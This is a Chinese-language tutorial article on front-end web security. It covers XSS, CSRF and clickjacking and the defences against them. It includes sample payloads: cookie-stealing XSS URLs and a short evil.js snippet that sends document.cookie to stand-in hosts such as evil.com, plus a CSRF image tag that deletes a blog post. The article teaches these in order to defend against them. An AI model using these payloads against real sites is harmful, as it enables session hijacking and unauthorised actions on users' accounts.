浅谈前端安全

安全问题的分类

按照所发生的区域分类

  • 后端安全问题:所有发生在后端服务器、应用、服务当中的安全问题
  • 前端安全问题:所有发生在浏览器、单页面应用、Web页面当中的安全问题

按照团队中哪个角色最适合来修复安全问题分类

  • 后端安全问题:针对这个安全问题,后端最适合来修复
  • 前端安全问题:针对这个安全问题,前端最适合来修复

综合以上

  • 前端安全问题:发生在浏览器、前端应用当中或者通常由前端开发工程师来对其进行修复的安全问题

浏览器安全

同源策略

是一种约定,是浏览器最核心也最基本的安全功能,限制了来自不同源的document或者脚本,对当前document读取或设置某些属性

  • 影响“源”的因素有:host(域名或者IP地址)、子域名、端口、协议
  • 对浏览器来说,DOM、Cookie、XMLHttpRequest会受到同源策略的限制

不受同源策略的标签

<script>、<img>、<iframe>、<link>等标签都可以跨域加载资源,而不受同源策略的限制

  • 这些带"src"属性的标签每次加载时,浏览器会发起一次GET请求
  • 通过src属性加载的资源,浏览器限制了javascript的权限,使其不能读、写返回的内容

三大前端安全问题

1、跨站脚本攻击(XSS)

定义

英文全称:Cross Site Script,XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击

本质

是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而产生了新的语义


XSS的分类

1、反射型XSS:将用户输入的数据反射给浏览器。黑客需要诱使用户“点击”一个恶意链接,才能攻击成功。

举个例子:

  1. 假设在某购物网站上搜商品,当搜不到商品时会出现

此时的URL是https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1

  1. 在搜索框输入<script>alert('xss')</script>
  2. 如果前端页面没有对搜索框的内容进行过滤,而是直接发送,这时,URL地址栏应该会显示https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1,从而alert出xss,但事实却是已经转码了的:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
  3. 假设前端页面没有进行处理,那么攻击者就可以通过构造来获取用户的cookie的地址,来诱使用户来访问这个地址,比如说https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1

2、存储型XSS:把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性。

比如说,黑客写下一篇包含恶意javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在浏览器中执行这段恶意的javascript代码,黑客把恶意的脚本保存到服务器端

3、DOM Based XSS:通过修改页面的DOM节点形成的XSS。

举个例子:

  1. 在输入框中输入内容后点击write
  1. 此时再点击a链接

**原理:**首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符"//"注释掉第二个单引号。点击此链接,脚本将被执行。


XSS Payload攻击

定义

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为XSS Payload。实际上就是Javascript脚本(或者Flash或其他富客户端的脚本),所以XSS Payload能够做到任何javascript脚本能实现的功能

实例

  • 通过读取浏览器的cookie对象,从而发起“cookie劫持”攻击
  1. 攻击者首先加载一个远程脚本http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
  2. 真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的Javascript代码
  3. 在evil.js中,通过如下代码窃取cookievar img = document.createElement("img");
  4. img.src = "http://www.evil.com/log?"+escape(document.cookie);
  5. document.body.appendChild(img);
  6. 以上代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器中
  7. http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
  • 通过模拟GET、POST请求操作用户的浏览器(在“cookie劫持”失效时,或者目标用户的网络不能访问互联网等情况时会非常有用)
    1. 假设某博客页面存在XSS漏洞,那么可以通过构造get请求操作用户浏览器
    2. 假设正常删除博客文章的链接为http://blog.test.com/manage/entry.do?m=delete&id=1245862
    3. 对于攻击者来说,只需要知道文章的id,就能够通过这个请求来删除这篇文章
    4. 攻击者可以通过插入一张图片来发起一个get请求
    1. 攻击者只需要让博客作者执行这段javascript代码也就是XSS Payload,就会删除这篇文章

XSS的防御

1、HttpOnly

浏览器禁止页面的Javascript访问带有HttpOnly属性的cookie。(实质解决的是:XSS后的cookie劫持攻击)如今已成为一种“标准”的做法

不同语言给cookie添加HttpOnly的方式不同,比如

  • JavaEE:response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
  • PHP4:header("Set-Cookie:hidden=value;httpOnly");
  • PHP5:setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);//true为HttpOnly属性

2、输入检查(XSS Filter)

  • 原理:让一些基于特殊字符的攻击失效。(常见的Web漏洞如XSS、SQLInjection等,都要求攻击者构造一些特殊字符)
  • 输入检查的逻辑,必须放在服务器端代码中实现。目前Web开发的普遍做法,是同时哎客户端Javascript中和服务端代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,节约服务器资源。

3、输出检查

在变量输出到HTML页面时,使用编码或转义的方式来防御XSS攻击

  • 针对HTML代码的编码方式:HtmlEncode
  • PHP:htmlentities()和htmlspecialchars()两个函数
  • Javascript:JavascriptEncode(需要使用“\”对特殊字符进行转义,同时要求输出的变量必须在引号内部)
  • 在URL的path(路径)或者search(参数)中输出,使用URLEncode

具体实施可以参考:http://www.cnblogs.com/lovesong/p/5211667.html


防御DOM Based XSS

  • DOM Based XSS的形成:(举个例子)
  • **实质:**从Javascript中输出数据到HTML页面里
  • **这个例子的解决方案:**做一次HtmlEncode

防御方法:分语境使用不同的编码函数


总结

XSS漏洞虽然复杂,但是却是可以彻底解决的。在设计解决方案时,应该针对不同场景理解XSS攻击的原理,使用不同的方法

2、CSRF(跨站点请求伪造)

什么是CSRF

首先来看个例子:

攻击者首先在自己的域构造一个页面:http://www.a.com/csrf.html,其内容为<img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" /> 使用了一个img标签,其地址指向了删除Iid为156714243的博客文章 然后攻击者诱使目标用户,也就是博客主人访问这个页面 用户进去看到一张无法显示的图片,这时自己的那篇博客文章已经被删除了

**原理:**在刚才访问http://www.a.com/csrf.html页面时,图片标签向服务器发送了一次get请求,这次请求导致了博客文章被删除 这种删除博客文章的请求,是攻击者伪造的,所以这种攻击就叫做“跨站点请求伪造”

CSRF的原理

参考上图,我们可以总结,完成一次CSRF攻击,必须满足两个条件

  1. 用户登录受信任网站A,并且在本地生成Cookie
  2. 在不登出网站A的情况下,访问危险网站B

CSRF本质

CSRF攻击是攻击者利用用户身份操作用户账户的一种攻击方式


CSRF的防御

**CSRF能攻击成功的本质原因:**重要操作的所有参数都是可以被攻击者猜测到的

解决方案

1、验证码

CSRF攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互

  • 优点:简洁而有效
  • 缺点:网站不能给所有的操作都加上验证码

2、Referer Check

利用HTTP头中的Referer判断请求来源是否合法 Referer首部包含了当前请求页面的来源页面的地址

  • 优点:简单易操作(只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查Referer的值就行)
  • 缺点:服务器并非什么时候都能取到Referer
    1. 很多出于保护用户隐私的考虑,限制了Referer的发送。
    2. 比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器不会发送Referer

浏览器兼容性

关于Referer的更多详细资料:https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html

3、使用Anti CSRF Token

  • 比如一个删除操作的URL是:http://host/path/delete?uesrname=abc&item=123
  • 保持原参数不变,新增一个参数Token,Token值是随机的,不可预测
  • http://host/path/delete?username=abc&item=123&token=[random(seed)]

由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击

  • 优点:比检查Referer方法更安全,并且不涉及用户隐私
  • 缺点:对所有的请求都添加Token比较困难

更多关于CSRF详细可参考:

  1. CSRF 攻击的应对之道:https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
  2. CSRF原理剖析:http://netsecurity.51cto.com/art/200812/102951.htm
  3. 维基百科CSRF:https://en.wikipedia.org/wiki/Cross-site_request_forgery
  4. CSRF实例:http://netsecurity.51cto.com/art/200812/102925.htm

需要注意的点:

  1. Token需要足够随机,必须用足够安全的随机数生成算法
  2. Token应该为用户和服务器所共同持有,不能被第三方知晓
  3. Token可以放在用户的Session或者浏览器的Cookie中
  4. 尽量把Token放在表单中,把敏感操作由GET改为POST,以form表单的形式提交,可以避免Token泄露(比如一个页面:http://host/path/manage?username=abc&token=[random],在此页面用户需要在这个页面提交表单或者单击“删除”按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />,则这个页面地址会作为HTTP请求的Refer发送到evil.com的服务器上,从而导致Token泄露)

XSRF

当网站同时存在XSS和CSRF漏洞时,XSS可以模拟客户端浏览器执行任意操作,在XSS攻击下,攻击者完全可以请求页面后,读取页面内容中的Token值,然后再构造出一个合法的请求

结论

安全防御的体系应该是相辅相成、缺一不可的

3、点击劫持(ClickJacking)

什么是点击劫持

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

防御点击劫持:X-Frame-Options

X-Frame-Options HTTP响应头是用来给浏览器指示允许一个页面能否在<frame>、<iframe>、<object>中展现的标记

有三个可选的值

  1. DENY:浏览器会拒绝当前页面加载任何frame页面(即使是相同域名的页面也不允许)
  2. SAMEORIGIN:允许加载frame页面,但是frame页面的地址只能为同源域名下的页面
  3. ALLOW-FROM:可以加载指定来源的frame页面(可以定义frame页面的地址)

浏览器的兼容性

小结

综合以上三大前端安全,我们可以总结

  1. 谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)
  2. 在变量输出到HTML页面时,都应该进行编码或转义来预防XSS攻击
  3. 该用验证码的时候一定要添上
  4. 尽量在重要请求上添加Token参数,注意Token要足够随机,用足够安全的随机数生成算法

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏后台全栈之路

在 C/C++ 异步 I/O 中使用 MariaDB 的非阻塞接口

对 C/C++,MySQL 提供的库传统上都是阻塞操作,因此适合多线程 / 进程服务器架构编程。但是如果用 C/C++ 编写服务器,往往对性能会有极致要求,此时...

5982
来自专栏java沉淀

用自己的电脑做网站服务器,实现外网访问

网站服务器其实就是一台大型的电脑主机,我们也可以将自己家的电脑主机去做成一台用于存放网站的网站小型服务器供别人访问。那么如何用自己的电脑去做网站服务器呢?由于...

8.3K8
来自专栏张戈的专栏

解决wp-super-cache无法(预)缓存问题

突然发现 WP-SUPER-CACHE 无法预缓存,点击【立即加载预缓存】后没有任何效果,并且垃圾回收定时器也失效了,缓存文件全是几天前的,感觉很奇怪! 闲下来...

3745
来自专栏CaiRui

linux+Nginx+Mysql+Php

LNMP简介 LAMP(Linux apache mysql php)---比较早的web服务。 LNMP(Linux nginx mysql php)---比...

3079
来自专栏向治洪

gulp+webpack工具整合简介

webpack简介 Webpack 是一个模块打包器。它将根据模块的依赖关系进行静态分析,然后将这些模块按照指定的规则生成对应的静态资源。 ? webpa...

3905
来自专栏Golang语言社区

HTTP协议漫谈

简介 园子里已经有不少介绍HTTP的的好文章。对HTTP的一些细节介绍的比较好,所以本篇文章不会对HTTP的细节进行深究,而是从够高和更结构化的角度将H...

35213
来自专栏FreeBuf

如何在安卓移动终端进行一次渗透实验?

下面的实验将通过使用一个虚拟Android系统作为实验主体来进行展示。在这个实验中,通过使用虚拟Android系统,模拟移动终端的操作,来帮助我们逐步实现使用一...

3086
来自专栏Young Dreamer

webpack的Hot Module Replacement运行机制

使用webpack打包,难免会使用Hot Module Replacement功能,该功能能够实现修改、添加或删除前端页面中的模块代码,而且是在页面不刷新的前提...

2835
来自专栏菜鸟程序员

支持批量检测 SS/SSR账号延迟和TCP/UDP可用性的客户端 —— SSCap

6.5K3
来自专栏云计算教程系列

如何在服务器上安装LAMP

在本教程中,我们将在Ubuntu上安装LAMP。Ubuntu将满足我们的第一个要求:Linux操作系统。没有服务器的同学可以在这里购买,不过我个人更推荐您使用免...

4532

扫码关注云+社区

领取腾讯云代金券